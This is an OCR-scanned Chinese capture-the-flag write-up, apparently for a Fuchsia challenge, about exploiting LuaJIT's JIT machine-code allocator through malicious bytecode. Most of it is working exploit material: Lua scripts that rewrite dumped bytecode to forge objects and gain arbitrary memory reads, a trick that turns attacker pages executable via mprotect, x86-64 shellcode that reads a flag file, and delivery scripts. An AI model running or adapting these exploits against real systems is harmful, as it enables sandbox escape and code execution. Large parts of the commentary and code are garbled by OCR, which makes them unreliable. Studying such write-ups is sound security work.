[#5] @0x555555597f@b - Name: 1j_asm_trace(J=0x40000558, T=0x40000558)
[#6] 0x55555556c690 - Name: trace_state(L=0x40000378, dummy=<optimized out>, ud=0x40000558)
[#7] ©x555555575af6 - Name: 1j_vm_cpcall()
[#8] ©x55555556cfeb - Name: 1j_trace_ins(J=0x40000558, pc=0x4000ab34)
[#9] ©x555555560b7f - Name: 1j_dispatch_ins(L=0x40000378, pc=0x4000ab38)

[ trace ]—
[#0] ox7ffff7d15790 - Name: mprotect()
[#1] 0x555555584b3@0 - Name: mcode_setprot(prot=0x5, sz=<optimized out>, p=<optimized out>)
[#2] 0x555555584b30 - Name: mcode_protect(J=0x40000558, prot=0x5)
[#3] 0x555555584f79 - Name: mcode_protect(prot=0x5, J=0x40000558)
[#4] 0x555555584f79 - Name: 1j_mcode_abort(J=0x40000558)
[#5] @0x555555584f79 - Name: 1j_mcode_limiterr(J=0x40000558, need=0x100)
[#6] 0x5555555904a5 - Name: asm_mclimit(as=0x7fffffffde30)
[#7] @0x5555555986bd — Name: asm_exitstub_gen(group=<optimized out>, as=<optimized out>)
[#8] ©x5555555986bd - Name: asm_exitstub_setup(nexits=<optimized out>, as=0x7fffffffde30)
[#9] 0x5555555986bd — Name: asm_setup_target(as=0x7fffffffde30)

= R &5 — N
ERENR

=,
BT AFHRE

T

A

B

/* Abort the reservation. x/
void 1j_mcode_abort(jit_State *J)

{

if (J->mcarea)

mcode_protect(J, MCPROT_RUN);

/*x Limit of MCode reservation reached. */
void 1j_mcode_limiterr(jit_State %J, size_t need)

{

size_t sizemcode, maxmcode;
1j_mcode_abort(J);
sizemcode = (size_t)J->param[JIT_P_sizemcode] << 10;

sizemcode =

(sizemcode + LJ_PAGESIZE-1) & ~(size_t)(LJ_PAGESIZE - 1);

maxmcode = (size_t)J->param[JIT_P_maxmcode] << 10;

, EBIERTURCArx (prothb) By, TEREOtEHHuajitUiBNLE, EEF

BHNBX—FBLE:
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if ((size_t)need > sizemcode)
1j_trace_err(J, LI_TRERR_MCODEOV); /* Too long for any area. */
if (J->szallmcarea + sizemcode > maxmcode)
1j_trace_err(J, LJ_TRERR_MCODEAL);
mcode_allocarea(J);
1j_trace_err(J, LJ_TRERR_MCODELM); /* Retry with new area. %/

Sttbtrace AT AL, ESLRBI_mcode_limiterr@ £ BA#rT1jit mprotectiRERAVEHRIB A, FEH
—ZRAasm_*FE, KBE T —TFTNIZERTLREIE, ARAEEXBLMANIE, FAUAZORME T
trace_state @, BB UAMESLXE T EZRIEABNjiUASERFERITAENTN,

EIFEAE AT LA IO A& mprotecthRAD, FRUATRAT AT LABIE 3T bE A Th AN R I A8 5 SRR B K B
Fodd B INRL R S & fEtrace_statePRIHATIMAZER, IR REISTART —> RECORD —> END
—>  ASMRJIZFE, MmprotectlE 2 EmprotectPFHTIABA (X Eﬂﬁ%?jrnprotectEﬁLﬁ#i, ANES TN
RRERBINEDETE T BMME) . MRKKNAIESBLRTEND —> ASMEIEE,

BRBANCEERLWANDBRET, BAZETEME THIENECIENE, FEBYFEIEAEELER
P LRBEIT /M TIER.

XERBEHGFARBITERZABEFEE, BIALEGHNABREREEXN, EEIARENRBX
MEZEZEECEETRELERA, 3N TREM, BREREHNOTRICR X,

BERMIG, 7TRECORDMER, £1@idlj_record_insZrecord luajitF g

// 1j_trace.c:trace_state H
case LJ_TRACE_RECORD:
trace_pendpatch(J, 0);
setvmstate(J2G(J), RECORD);
1j_vmevent_send_(L, RECORD,
/* Save/restore tmptv state for trace recorder. *x/
TValue savetv = J2G(J)—>tmptv;
TValue savetv2 = J2G(J)->tmptv2;
setintV(L—>top++, J->cur.traceno);
setfuncV(L, L->top++, J—>fn);
setintV(L—>top++, J->pt ? (int32_t)proto_bcpos(J—>pt, J—>pc) : -1);
setintV(L—>top++, J->framedepth);
’
J2G(J)->tmptv = savetv;
J2G(J)—>tmptv2 = savetv2;
i
1j_record_ins(J); // <— #fTrecord
break;
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X RMRE Bl fEtrace_stateBE 7 8EAL K 15/ FROMITIARFE, KRILAN:START —> RECORD+ —>
END —> (ASM) —> ERR -> ASM, ®&#ZIMIBEASME, BFEENASMEEBEFBRPA LI, £—
RSB RIS,

SARERFERNTALMTERR, EEXCNOUERRIEZEIASMENTMENE, IBARMINE LR
H: RBEHANFIASMIRTE.

BENERBERRINBENexp LRTT —B, RIEZRFEBAERECORDIRT, EHRZRECORDIA
S—ERERR.

IR HORININER . BAEERNREERNFTE:

evil.lua evil.out

1 < 0x1000000 do

luajit -blg

FEAUE:

local i =1

while

i=1i+1
——print(i)

end
FAE
0083 TSETB 19
0084 TGETB 19
0085 TSETB 19
0086 TGETB 19
0087 TSETB 19
0088 KNUM 19
0089 TSETB 19
0090 KSHORT 19
0091 => KNUM 20
0092 ISGE 19
0093 IMP 20
0094 LOOP 20
0095 ADDVN 19
0096 IMP 20

14 1
14 1
14 2
14 1
14 3
10 ; 2.0236928853657e-320
14 4
1
11 ; 16777216 <—— 0x1000000
20
=> 0097 ; <—— BEIMEIR
=> 0097

19 12 ; 1 <— fn—
=> 0091 ; <—— f&@R

EAR LU Ef 2B N1 E#AT]ithYwhile loop T o

[E1%lj_record_ins:
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QERT A
TIE X 3=

case BC_LOOP:
rec_loop_interp(J, pc, rec_loop(J, ra));
break;

/* Handle the case when an interpreted loop op is hit. *x/
static void rec_loop_interp(jit_State *J, const BCIns xpc, LoopEvent ev)
{
if (J->parent == 0 && J—>exitno == 0) {
if (pc == J->startpc & J->framedepth + J—>retdepth == 0) {
/* Same loop? x/
if (ev == LOOPEV_LEAVE) /* Must loop back to form a root trace. x/
1j_trace_err(J, LJ_TRERR_LLEAVE);
1j_record_stop(J, LJ_TRLINK_LOOP, J->cur.traceno); /* Looping trace. */
} else if (ev != LOOPEV_LEAVE) { /x Entering inner loop? x*/
/* It's usually better to abort here and wait until the inner loop
*xx is traced. But if the inner loop repeatedly didn't loop back,
*xk this indicates a low trip count. In this case try unrolling
*k an inner loop even in a root trace. But it's better to be a bit
*xx more conservative here and only do it for very short loops.
*/
if (bc_j(xpc) !'= -1 & !innerloopleft(J, pc))
1j_trace_err(J, LJ_TRERR_LINNER); /% Root trace hit an inner loop. */
if ((ev != LOOPEV_ENTERLO &&
J—>1loopref && J->cur.nins — J—>loopref > 24) || ——J—>1loopunroll < @)
1j_trace_err(J, LJ_TRERR_LUNROLL); /% Limit loop unrolling. */
J—>loopref = J—>cur.nins;
}
} else if (ev != LOOPEV_LEAVE) { /x Side trace enters an inner loop. */
J—>loopref = J->cur.nins;
if (--J->loopunroll < @)
1j_trace_err(J, LJ_TRERR_LUNROLL); /% Limit loop unrolling. */
} /% Side trace continues across a loop that's left or not entered. x/

}

PRERTESRMBAFENEND, ARFASM, EZ2EASMITEHREK, F#HANETERR, AEXM
ERREBRHANFIASM, mMEESLEE —RXASMBREFE L #H1Tmprotect 7, FIl&RENASMARE KK
2, melLBrjitdiz,

ZENRAEIERAFFAREET, BXENEZINECERN—T, X—8otBRER, EXH
RRBENZAGENt—E—BEN, TEHEBF/LTHASESXE, BEREFHNANET AFAE R
HINBEALID:

1

static MCode *asm_exitstub_gen(ASMState xas, ExitNo group)

10 {
11 ExitNo i, groupofs = (groupxEXITSTUBS_PER_GROUP) & @xff;
12 MCode *xmxp = as—>mcbot;
13 MCode *xmxpstart = mxp;
- 14 if (mxp + (2+2)*EXITSTUBS_PER_GROUP+8+5 >= as—>mctop)
15 asm_mclimit(as);
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MRl Emcbot + X >= mctop, EftZ />R Emcbot >= mctopFiiT.

12

329 /% Abort the reservation. x/
330 void 1j_mcode_abort(jit_State *J)

331 {
332 if (J->mcarea)

- 333 mcode_protect(J, MCPROT_RUN);
334 }

EEmcarea = 0! MEEE—X, HIMEELZEmcarealRB N0, TEXEZAESHINAAR,

FH3(SE):

193 /* Change protection of MCode area. */
194 static void mcode_protect(jit_State *xJ, int prot)

195 A
196 if (J->mcprot != prot) {
- 197 if (LJ_UNLIKELY(mcode_setprot(J->mcarea, J->szmcarea, prot)))
198 mcode_protfail(J);
199 J—>mcprot = prot;
200 }
201 }
202

BMABMNSHMNIEESEMEARLEFRL T, XWEFHIETERNZAINIEE S EEFFEESXERN
mcareafd S ER, AEBEINIEERE — Mo Eszmcarea R, B UABEMBU/N—mR, T fEmprotect
AL IR R EE R A AR REM,

FIEERERNLTERERH:

- 378 if ((size_t)need > sizemcode)
379 1j_trace_err(J, LJ_TRERR_MCODEOV); /* Too long for any area. x/
380 if (J->szallmcarea + sizemcode > maxmcode)
381 1j_trace_err(J, LJ_TRERR_MCODEAL);
382 mcode_allocarea(J);

383 1j_trace_err(J, LJ_TRERR_MCODELM);

380,38THIX T KMULER AR, ERNERNSTAMNRXE LI DMES W ireetzl) (BHEBNEF
IAERRL) , MfEzirconNRINMN R freetr SR —PMAFE, XEFEMEmprotect T HILERITH
B, BAFNEEEmprotectZ FERERlualHITERR, AETEEBTFEBEE RN A BE
shellcode, FIAFEIR BszallmzareafIRHEH B+ E B A/NHI0),

HIE, BNMETHFRA T ATAREFKNexpBNEERERNT . . ANMHNSHRERRA, .

207



ZElerrZE L — MU A R38BT ERIRRY, ALK TpanicliERER, ERRME
mEENRTERE, MATEXE
T, AIEBNROZZR T AR T —LEState R TTEIE, THRFPE T —EHFENFEER

AT X Perr SRS,

N>
=R

=, 8B

/IGho TN

(NFESELRS

R

BTN
%&ﬂ&zx

B IRBANIMBHAND S —MEZAIMFR T, . . fuchsia.

luajit YD FEE

orig_exp.lua:

result as evil. lua.
local evil = function(v)

®H1Tshellcode exp

The following function serves as the template for evil.lua.
The general outline is to compile this function as-written, dump
it to bytecode, manipulate the bytecode a bit, and then save the

—— This is the x86_64 native code which we'll execute. It
—— 1is a very benign payload which just prints "Hello World"
—— and then fixes up some broken state.

local shellcode =
"\76\139\87\16"..
"\184\4\0\0\2"..
"\191\1\0\0\0"..
"\72\141\53\51\0\0\0". .
"\186\12\0\0\0"..
"\15\5"..
"\72\133\192"..
"\184\74\0\0\2"..
"\121\12"..
"\184\1\0\0\0"..
MNINT "5
"\184\10\0\0\0"..

"\73\139\58"..
"\72\139\119\8"..
"\186\7\0\0\0". .
"\15\5"..
"\73\139\114\8"..
"\72\137\55"..
U\1958. .

"Hello World\n"

mov rl10, [rdi+16]
mov eax, 0x2000004
mov edi, 1

lea rsi, [->msg]
mov edx, 12
syscall

test rax, rax

mov eax, 0x200004a

jns —>is_osx

mov eax, 1
syscall

mov eax, 10
—>is_osx:

mov rdi, [r1@]
mov rsi, [rdi+8]
mov edx, 7
syscall

mov rsi, [r10+8]
mov [rdi]l, rsi
ret

->msg:

—— The dirty work is done by the following "inner" function.

—— This inner function exists because we require a vararg call
—— frame on the Lua stack, and for the function associated with
—— said frame to have certain special upvalues.

local function inner(...)
if false then

—— The following three lines turn into three bytecode

—— instructions. We munge the bytecode slightly, and then
—— later reinterpret the instructions as a cdata object,
—— which will end up being ‘cdata<const char *>: NULL'.

—— The “if false® wrapper ensures that the munged bytecode

—— isn't executed.

BINFERENE, HEIRB YR
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local cdata = -32749

cdata = 0
cdata = 0
end

—— Through the power of bytecode manipulation, the

— following three functions will become (the fast paths of)
—— string.byte, string.char, and string.sub. This is

—— possible because LualIT has bytecode instructions

—— corresponding to the fast paths of said functions. Note
— that we musn't stray from the fast path (because the

— fallback C code won't be wired up). Also note that the
—— interpreter state will be slightly messed up after

—— calling one of these functions.

local function s_byte(s) end

local function s_char(i, _) end

local function s_sub(s, i, j) end

—— The following function does nothing, but calling it will

—— restore the interpreter state which was messed up following
—— a call to one of the previous three functions. Because this
— function contains a cdata literal, loading it from bytecode
— will result in the ffi library being initialised (but not
— registered in the global namespace).

local function resync() return OLL end

—— Helper function to reinterpret the first four bytes of a
—— string as a uint32_t, and return said value as a number.
local function s_uint32(s)
local result = 0@
for i =4, 1, -1 do
result = result x 256 + s_byte(s_sub(s, i, i))
resync()
end
return result
end

—— The following line obtains the address of the GCfuncL

—— object corresponding to "inner". As written, it just fetches

—— the 0th upvalue, and does some arithmetic. After some
—— bytecode manipulation, the @th upvalue ends up pointing

—— somewhere very interesting: the frame info TValue containing

—— func|FRAME_VARG|delta. Because delta is small, this TValue
— will end up being a denormalised number, from which we can
—— easily pull out 32 bits to give us the "func" part.

local iaddr = (inner * 271022 x 2°52) % 2732

—— The following five lines read the "pc" field of the GCfuncL
—— we just obtained. This is done by creating a GCstr object
—— overlaying the GCfuncL, and then pulling some bytes out of
—— the string. Bytecode manipulation results in a nice KPRI

—— instruction which preserves the low 32 bits of the istr

—— TValue while changing the high 32 bits to specify that the
—— low 32 bits contain a GCstrx.

local istr = (iaddr - 4) + 2752

istr = -32764 —— Turned into KPRI(str)

local pc = s_sub(istr, 5, 8)
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istr = resync()
pc = s_uint32(pc)

—— The following three lines result in the local variable

—— called "memory" being "cdata<const char x>: NULL . We can
—— subsequently use this variable to read arbitrary memory

— (one byte at a time). Note again the KPRI trick to change
— the high 32 bits of a TValue. In this case, the low 32 bits
—— end up pointing to the bytecode instructions at the top of
—— this function wrapped in “if false’.

local memory = (pc + 8) + 2752

memory = -32758 —— Turned into KPRI(cdata)

memory = memory + @

—— Helper function to read a uint32_t from any memory location.

local function m_uint32(offs)
local result = @
for i = offs + 3, offs, -1 do
result = result x 256 + (memory[il % 256)
end
return result
end

—— Helper function to extract the low 32 bits of a TValue.

—— In particular, for TValues containing a GCobj*, this gives
—— the GCobj* as a uint32_t. Note that the two memory reads
—— here are GCfuncL::uvptr([1] and GCupval::v.

local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)

local function low32(tv)

v = tv
return m_uint32(vaddr)
end

—— Helper function which is the inverse of s_uint32: given a
—— 32 bit number, returns a four byte string.
local function ub4(n)
local result = ""
for i =0, 3 do
local b = n % 256
n=(n-0>b) / 256
result = result .. s_char(b)
resync()
end
return result
end

—— The following four lines result in the local variable

—— called "mctab" containing a very special table: the

—— array part of the table points to the current Lua

—— universe's jit_State::patchins field. Consequently,

— the table's [@] through [4] fields allow access to the

—— mcprot, mcarea, mctop, mcbot, and szmcarea fields of

—— the jit_State. Note that LualIT allocates the empty

—— string within global_State, so a fixed offset from the

—— address of the empty string gives the fields we're

—— after within jit_State.

local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(low32("") + 2748)
.. "\0\0\0\0\0\0\0\0\0\0\0\0\5\0\0\0\255\255\255\255"
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local mctab = low32(mctab_s) + 16 + 2752
mctab = -32757 —— Turned into KPRI(table)

—— Construct a string consisting of 4096 x86 NOP instructions.
local nopdk = "\144"
for i = 1, 12 do nopd4k = nopd4k .. nop4dk end

— Create a copy of the shellcode which is page aligned, and
—— at least one page big, and obtain its address in "asaddr".
local ashellcode = nopdk .. shellcode .. nop4dk

local asaddr = low32(ashellcode) + 16

asaddr = asaddr + 2712 - (asaddr % 2°12)

—— The following seven lines result in the memory protection of
—— the page at asaddr changing from read/write to read/execute.
—— This is done by setting the jit_State::mcarea and szmcarea
—— fields to specify the page in question, setting the mctop and
—— mcbot fields to an empty subrange of said page, and then
—— triggering some JIT compilation. As a somewhat unfortunate
—— side-effect, the page at asaddr is added to the jit_State's
— linked-list of mcode areas (the shellcode unlinks it).
==[[[l
local mcarea = mctabl[1]
—-mctab[0] = @
mctab[@] = 0x1234/ 2752 / 271022
mctab[1] = @0x4321/ 2752 / 271022
mctab[2] = @xdead / 2752 / 271022
mctab[3] = @xbeef / 2752 / 271022
mctab[4] 2712 / 2752 / 271022
—-while mctab[@] == @ do end
local i =1
while i < 0x1000000 do

i=1i+1

——print(i)

end
—11

local mcarea = mctabl[1]
mctab[@] = asaddr / 2752 / 271022
mctab[1] = asaddr / 2752 / 271022
mctab[2] = mctab[1]
mctab[3] = 0x8000 / 2752 / 271022
mctab[4] = 2712 / 2752 / 271022
——while mctab[@] == @ do end
local i =1
while i < 0x1000000 do

i=1i+1

——print(i)

end

—11

—— The following three lines construct a GCfuncC object

—— whose lua_CFunction field is set to asaddr. A fixed

—— offset from the address of the empty string gives us

—— the global_State::bc_cfunc_int field.

local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
ub4(asaddr) .."\0\0\0\0"

fshellcode = -32760 —— Turned into KPRI(func)
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—— Finally, we invoke the shellcode (and pass it some values
—— which allow it to remove the page at asaddr from the list
—— of mcode areas).
fshellcode(mctab[1], mcarea)
end
inner()
end

—— Some helpers for manipulating bytecode:
local ffi = require "ffi"

local bit = require "bit"

local BC = {KSHORT = 41, KPRI = 43}

—— Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)

local buf = ffi.new("uint8_t[?]", #estr+l, estr)
local p = buf + 5

—— Helper function to read a ULEB128 from p:
local function read_uleb128()
local v = p[@]; p=p + 1
if v >= 128 then
local sh =7; v =v - 128
repeat
local r = pl0]
v = Vv + bit.lshift(bit.band(r, 127), sh)

sh = sh + 7
p=p+1
until r < 128
end
return v
end

—— The dumped bytecode contains several prototypes: one for "evil"
—— itself, and one for every (transitive) inner function. We step
—— through each prototype in turn, and tweak some of them.
while true do

local len = read_uleb128()

if len == @ then break end

local pend = p + len

local flags, numparams, framesize, sizeuv = p[@], pl[1], p[2], p[3]

p=p+4

read_uleb128()

read_uleb128()

local sizebc = read_uleb128()

local bc = p
local uv = ffi.cast("uintl16_tx", p + sizebc x 4)
if numparams == @ and sizeuv == 3 then

—— This branch picks out the "inner" function.
—— The first thing we do is change what the @th upvalue
—— points at:
uv[0] = uv[o] + 2
—— Then we go through and change everything which was written
—— as "local_variable = -327XX" in the source to instead be
—— a KPRI instruction:
for i = 0, sizebc do
if bc[@] == BC.KSHORT then



local rd = ffi.cast("int16_t*", bc) [1]
if rd <= -32749 then
bc[0] = BC.KPRI

bcl[3] = 0
if rd == -32749 then
—— the “cdata = -32749° line in source also tweaks
—— the two instructions after it:
bcl4] = 0
bc[8] = 0
end
end
end
bc = bc + 4
end
elseif sizebc == 1 then

—— As written, the s_byte, s_char, and s_sub functions each
—— contain a single "return" instruction. We replace said
—— instruction with the corresponding fast-function instruction.
bc[@] = 147 + numparams
bc[2] = bit.band(1 + numparams, 6)

end

p = pend

end

—— Finally, save the manipulated bytecode as evil. lua:
local f = io.open("evil.lua", "wb")
fiwrite(ffi.string(buf, #estr))

f:close()
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_int64 __fastcall sub_32E50(int64_t *al, __int64 a2, unsigned int a3)

__int64 v3; // ri13
unsigned int v4; // erl2
__int64 result; // rax

v3 = a2;
vd = a3;
if (a3 ==1)
v3 = a2 - (al[2] - all1l);
if ( al[5] > (unsigned __int64)all[7] )
{
((void (__fastcall *)(int64_t *, _QWORD, _QWORD))al[9])(al, @OLL, OLL); // <—— H—R
if ( lal[5] )
return OxXFFFFFFFFLL;

}

all4] = oLL;
all7] = oLL;
all5] = oLL;

if ( ((__int64 (__fastcall %) (int64_t %
return OxFFFFFFFFLL;

*(_DWORD *)al &= OxFFFFFFEF;

result = OLL;

all2] = oLL;

alll] = oLL;

return result;

int64, _QWORD))al[10])(al, v3, v4) <0 ) // <— E_RX
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create.tpl.lua (4 A A FloadstringtfF 43, FH#H1T T hex encode, B itishellcodefIERo)

—— The following function serves as the template for evil.lua.
—— The general outline is to compile this function as-written, dump
-— it to bytecode, manipulate the bytecode a bit, and then save the
—-— result as evil.lua.
local evil = function(v)

—— This is the x86_64 native code which we'll execute. It

-— 1is a very benign payload which just prints "Hello World"

—— and then fixes up some broken state.

local shellcode =

{SHELLCODE_TPL}

-— The dirty work is done by the following "inner" function.
—— This inner function exists because we require a vararg call
—— frame on the Lua stack, and for the function associated with
-— said frame to have certain special upvalues.
local function inner(...)

z

if false then
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—-— The following three lines turn into three bytecode

—— instructions. We munge the bytecode slightly, and then
-— later reinterpret the instructions as a cdata object,
--— which will end up being "cdata<const char *>: NULL".

-- The “if false' wrapper ensures that the munged bytecode
-— isn't executed.

local cdata = -32749

cdata = 0
cdata = 0
end

—— Through the power of bytecode manipulation, the

--— following three functions will become (the fast paths of)
-— string.byte, string.char, and string.sub. This is

—— possible because LualIT has bytecode instructions

—— corresponding to the fast paths of said functions. Note
-— that we musn't stray from the fast path (because the

—-— fallback C code won't be wired up). Also note that the
—— interpreter state will be slightly messed up after

-— calling one of these functions.

local function s_byte(s) end

local function s_char(i, _) end

local function s_sub(s, i, j) end

-— The following function does nothing, but calling it will

—-— restore the interpreter state which was messed up following
—-— a call to one of the previous three functions. Because this
—— function contains a cdata literal, loading it from bytecode
—— will result in the ffi library being initialised (but not
—— registered in the global namespace).

local function resync() return QLL end

—— Helper function to reinterpret the first four bytes of a
—— string as a uint32_t, and return said value as a number.
local function s_uint32(s)
local result = 0@
for i =4, 1, -1 do
result = result % 256 + s_byte(s_sub(s, i, i))
resync()
end
return result
end

—— The following line obtains the address of the GCfuncL

—— object corresponding to "inner". As written, it just fetches
—— the 0th upvalue, and does some arithmetic. After some

—— bytecode manipulation, the @th upvalue ends up pointing

-— somewhere very interesting: the frame info TValue containing
—— func|FRAME_VARG|delta. Because delta is small, this TValue
—— will end up being a denormalised number, from which we can
—— easily pull out 32 bits to give us the "func" part.

local iaddr = (inner *x 271022 *x 2752) % 2732

-— The following five lines read the "pc" field of the GCfuncL
-— we just obtained. This is done by creating a GCstr object
—— overlaying the GCfuncL, and then pulling some bytes out of
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—— the string. Bytecode manipulation results in a nice KPRI
—— instruction which preserves the low 32 bits of the istr

—— TValue while changing the high 32 bits to specify that the
—— low 32 bits contain a GCstrx.

local istr = (iaddr - 4) + 2752

istr = -32764 —-- Turned into KPRI(str)

local pc = s_sub(istr, 5, 8)

istr = resync()

pc = s_uint32(pc)

—-— The following three lines result in the local variable

—-— called "memory" being ‘cdata<const char *>: NULL . We can
—— subsequently use this variable to read arbitrary memory

—— (one byte at a time). Note again the KPRI trick to change
—- the high 32 bits of a TValue. In this case, the low 32 bits
-— end up pointing to the bytecode instructions at the top of
-— this function wrapped in "if false .

local memory = (pc + 8) + 2752

memory = -32758 —— Turned into KPRI(cdata)

memory = memory + 0

-— Helper function to read a uint32_t from any memory location.

local function m_uint32(offs)
local result = 0
for i = offs + 3, offs, -1 do
result = result x 256 + (memory[i] % 256)
end
return result
end

local function m_uint64(offs)
local result = 0
for i = offs + 7, offs, -1 do
result = result *x 256 + (memory[i] % 256)
end
return result
end

-— Helper function to extract the low 32 bits of a TValue.
—— In particular, for TValues containing a GCobj*, this gives
—— the GCobj*x as a uint32_t. Note that the two memory reads
-— here are GCfuncL::uvptr[1] and GCupval::v.
local vaddr = m_uint32(m_uint32(iaddr + 24) + 16)
local function low32(tv)
v = tv
res = m_uint32(vaddr)
return res
end

—— Helper function which is the inverse of s_uint32: given a
—— 32 bit number, returns a four byte string.
local function ub4(n)
local result = ""
for i = 0, 3 do
local b = n % 256
n=(n-b) / 256
result = result .. s_char(b)
resync()
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end
return result
end

local function ub8(n)
local result = ""

for i = 0, 7 do
local b = n % 256
n=(n-b) / 256
result = result .. s_char(b)
resync()

end

return result

end

local function hexdump_print(addr, len)
local result = ''
for i = 0, len - 1 do
if i % 16 == @ and i ~= 0 then
result = result .. '\n'
end

result = result .. string.format('%02x', memory[addr + i] % 0x100)

end

print(result)
end

local function hexdump_tv(tv)
v = tv
hexdump_print(vaddr, 8)
end

local text_base = m_uint64(low32("") - 4 + 0x80) - 0x29090
——print('got text_base @ Ox' .. string.format('sx', text_base))
local strlen_got = text_base + 0x74058

local strlen_addr = m_uint64(strlen_got)

——print('strlen got @ O0x' .. string.format('sx', strlen_addr))
local ld_so_base = strlen_addr - 0x59e80
——print('ld_so base @ 0x' .. string.format('sx', ld_so_base))

local nopdk = "\144"

for i = 1, 12 do nop4k = nop4k .. nop4dk end
local ashellcode = nopd4k .. shellcode .. nop4dk
local asaddr = low32(ashellcode) + 16

asaddr = asaddr + 2712 - (asaddr % 2712)
——print(asaddr)

—— arbitrary (32 bits range) write

—— form file structure according to function requirements
local rdi = 0x10000378 —- State <-- fixed?!

--local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(rdi)

——  .."\0\0\0\0\0\0\0\0\255\255\0\0\255\255\255\255"

—— move this before arbitrary write

—— seems this will interfere, because the State has been
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—— manipulated after arbitrary write

local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
ub8(1ld_so_base + 0x32e50)

fshellcode = -32760 —— Turned into KPRI(func)

local mctab_s = "\0\0\0\0\99\4\0\0".. ub4(rdi)
.. "\0\0\0\0\0\0\0\0\0\0\0\0\255\255\0\0\255\255\255\255"
local mctab = low32(mctab_s) + 16 + 2752
mctab = -32757 -- Turned into KPRI(table)
mctab[5] = @x1 / 2752 / 271022
mctab[7] = @ / 2752 / 271022 —- qword ptr [$rdi + 40] > gqword ptr [$rdi + 56]
mctab[9] = (text_base + @x56ca0d) / 2752 / 271022
--mctab[9] = @x2200 / 2752 / 271022
mctab[306] = 0x10008000 / 2752 / 271022
mctab[309] = 0x10000 / 2752 / 271022
mctab[10] = asaddr / 2752 / 271022
--mctab[10] = Oxdeadbeef / 2752 / 271022
—— The following seven lines result in the memory protection of
—- the page at asaddr changing from read/write to read/execute.
-— This is done by setting the jit_State::mcarea and szmcarea
-— fields to specify the page in question, setting the mctop and
—— mcbot fields to an empty subrange of said page, and then
—— triggering some JIT compilation. As a somewhat unfortunate
—-- side-effect, the page at asaddr is added to the jit_State's
-- linked-list of mcode areas (the shellcode unlinks it).

==[[1

local mcarea = mctab[1]

val = asaddr / 2752 / 271022
mctab[4] = 2712 / 2752 / 271022
local wtf = low32("") + 2748
mctab[3] = val

mctab[2] = val

mctab[1] = val

mctab[0] = val
hexdump_print(wtf, 32 + 32)
local i = 0

while i < 0x1000 do i = i + 1 end
print(i)
==]/]

-— The following three lines construct a GCfuncC object
—— whose lua_CFunction field is set to asaddr. A fixed
—-— offset from the address of the empty string gives us
—— the global_State::bc_cfunc_int field.

——local fshellcode = ub4(low32("") + 132) .."\0\0\0\0"..
-— ub4(asaddr) .."\0\0\0\0"

fshellcode()
end
inner()
end

—— Some helpers for manipulating bytecode:
local ffi = require "ffi"
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local bit = require "bit"
local BC = {KSHORT = 41, KPRI = 43}

-— Dump the as-written evil function to bytecode:
local estr = string.dump(evil, true)

local buf = ffi.new("uint8_t[?]", #estr+l, estr)
local p = buf + 5

—-— Helper function to read a ULEB128 from p:
local function read_uleb128()
local v = pl[o]l; p=p + 1
if v >= 128 then
local sh = 7; v = v - 128
repeat
local r = plo]
vV = Vv + bit.lshift(bit.band(r, 127), sh)

sh = sh + 7
p=p+1
until r < 128
end
return v
end

—— The dumped bytecode contains several prototypes: one for "evil"
-— itself, and one for every (transitive) inner function. We step
—— through each prototype in turn, and tweak some of them.
while true do
local len = read_uleb128()
if len == @ then break end
local pend = p + len
local flags, numparams, framesize, sizeuv = p[@], pl[1l], pl[2], pl[3]
p=p+4
read_uleb128()
read_uleb128()
local sizebc = read_uleb128()
local bc = p
local uv = ffi.cast("uintl6_tx", p + sizebc * 4)
if numparams == @ and sizeuv == 3 then
—— This branch picks out the "inner" function.
—— The first thing we do is change what the @th upvalue
—-— points at:
uv[e]l = uv[o] + 2
-— Then we go through and change everything which was written
—— as "local_variable = -327XX" in the source to instead be
—-— a KPRI instruction:
for i = 0, sizebc do
if bc[@] == BC.KSHORT then
local rd = ffi.cast("int16_tx", bc)[1]
if rd <= -32749 then
bc[0] = BC.KPRI
bcl[3] = 0
if rd == -32749 then
—— the “cdata = -32749° 1line in source also tweaks
—— the two instructions after it:

bcl4] = 0
bc[8] = 0
end
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end
end
bc = bc + 4
end
elseif sizebc == 1 then
—-— As written, the s_byte, s_char, and s_sub functions each
—— contain a single "return" instruction. We replace said
—— instruction with the corresponding fast-function instruction.

bc[@] = 147 + numparams
bc[2] = bit.band(1 + numparams, 6)
end
p = pend
end

function string.fromhex(str)

return (str:gsub('..', function (cc)
return string.char(tonumber(cc, 16))
end))
end

function string.tohex(str)
return (str:gsub('."', function (c)
return string.format('%02X', string.byte(c))
end))
end

res = string.tohex(ffi.string(buf, #estr))

local f = io.open("../shellcode.hex", "wb")
f:write(ffi.string(res, #res))

ficlose()

print(res)

a = loadstring(string.fromhex(res))

print(a())

-—- Finally, save the manipulated bytecode as evil.lua:

gen_shellcode.py (HEN&/EMTTHIshellcode)

from pwn import *
context(arch="'amd64', os='linux"')

shellcode = r'"'"'
sub rsi, 0x2710
mov rax, rsi
mov rbp, rax

add rax, 0x73370
mov rdi, %s

push rdi

mov rdi, %s

push rdi

mov rdi, rsp
push 0

push 114

mov rsi, rsp
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call rax

mov rcx, rax

mov rdi, rsp

mov rsi, 100

mov rdx, 100

mov rax, rbp

add rax, 0x733c@
call rax

mov rdi, 1

mov rsi, rsp

mov rdx, 100

mov rax, rbp

add rax, 0x73510
call rax

push @
ret

print(shellcode)
shellcode = shellcode % (u64('a/flag'.ljust(8, '\x00')), u64('/pkg/dat'))

with open('create.tpl.lua', 'r') as f:
content = f.read()
shellcode_hex = repr(asm(shellcode))
content = content.replace('{SHELLCODE_TPL}', shellcode_hex)
with open('create.lua', 'w') as f:
f.write(content)

script.lua  (SLFRfE Aresponsefiluaftil, BHFTBhexEy)

function string.fromhex(str)

return (str:gsub('.."', function (cc)
return string.char(tonumber(cc, 16))
end))

end

function string.tohex(str)
return (str:gsub('.', function (c)
return string.format('%02X', string.byte(c))
end))

end

shellcode = '{}'

function fdb@cdf28c53764e()
x = loadstring(string.fromhex(shellcode))
return tostring(x())

end

print(fdb@cdf28c53764e())

request.pyMforward.pyff E—mHHLEE T,
=REHFA:
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python2 gen_shellcode.py
python2 request.py

[DEBUG] Received 0x1c@ bytes:

'<head>\n"

'<title>Error response</title>\n'
'</head>\n"

'<body>\n'

'<hl>Error response</hl>\n'

'<p>Error code 400.\n'

"<p>Message:

Bad

\Xx00\\x01\\x00\\x00\\x00") .\n"

